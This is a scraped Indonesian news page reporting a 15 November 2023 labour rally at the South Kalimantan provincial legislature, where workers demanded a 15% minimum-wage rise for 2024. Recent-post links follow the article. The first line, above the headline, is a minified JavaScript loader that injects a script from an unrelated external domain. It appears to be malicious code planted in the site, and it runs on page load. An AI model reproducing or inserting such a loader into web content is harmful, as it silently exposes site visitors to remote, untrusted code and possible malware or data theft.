(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Tuntut Kenaikan Upah 15 Persen, Ratusan Buruh Demo di DPRD Kalsel


KANALKALIMANTAN.COM, BANJARMASIN – Ratusan buruh di Kota Banjarmasin melakukan unjuk rasa di depan gedung Dewan Perwakilan Rakyat Daerah (DPRD) Pronvinsi Kalimantan Selatan (Kalsel), Rabu (15/11/2023) pagi.

Pengunjuk rasa berasal dari berbagai organisasi buruh di Kalsel, seperti Federasi Serikat Pekerja Metal Indonesia (FSPMI) Kalsel, Konfederasi Serikat Pekerja Seluruh Indonesia (KSPSI) Kalsel dan Konfederasi Serikat Buruh Seluruh Indonesia (KSBSI) Kalsel.

Sebelumnya, massa buruh terlebih dahulu berjalan sejauh 2 kilometer dari kawasan Siring 0 menuju Kantor DPRD Kalsel Jalan Lambung Mangkurat.

Sesampainya di depan rumah Banjar, massa aksi melakukan orasi sambil membentangkan sejumlah spanduk berisi permintaan kenaikan upah buruh.

Baca juga: Lantik 103 Pejabat Administrator dan Pengawas, Ini Pesan Pj Bupati HSU

Pantauan Kanalkalimantan.com, isi spanduk yang dibawa antara lain “Upah adalah urat nadi kami”, “K-SPI tolak upah murah”.

Kemudian terdapat juga spanduk bertuliskan penolakan terhadap Undang-undang Nomor 13 Tahun 2023 tentang Cipta Kerja/Omnibus Law yang di dalamnya juga mengatur tenaga kerja dan pengupahan.

Koordinator aksi Sumarlan SH menyampaikan, tujuan aksi untuk menyampaikan permintaan kenaikan upah minimum provinsi (UMP) di Provinsi Kalsel tahun 2024 sebesar 15%.

Sementara, Ketua DPRD Kalsel H Supian HK terlihat menemui langsung massa aksi yang memenuhi jalan Lambung Mangkurat.

Baca juga: FGD Penyusunan Naskah Akademik Raperda Karhutla, Ini Kata Kalak BPBD Banjar

Dalam orasinya, massa dari organisasi buruh meminta Ketua DPRD Kalsel untuk menemui mereka yang ingin menyampaikan aspirasi.

Selain itu mereka juga minta difasilitasi bertemunya dengan Gubernur Kalsel untuk menyampaikan tuntutan.

“Kami meminta dengan sehormat-hormatnya kepada Ketua DPRD Kalsel untuk dapat mempertemukan kami selaku perwakilan kaum buruh Banua dengan Gubernur Kalsel Sahbirin. Noor pada hari ini, atau selambat-lambatnya tanggal 17 Nopember 2023,” kata koordinator aksi.

Aksi unjuk rasa buruh tersebut dijaga aparat kemanan dari Polresta Banjarmasin dan Brimob Polda Kalsel. Polisi juga menyiagakan dua mobil water cannon di depan gedung DPRD Kalsel. (Kanalkalimantan.com/Rizki)

Reporter : rizki
Editor : cell


Risa

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.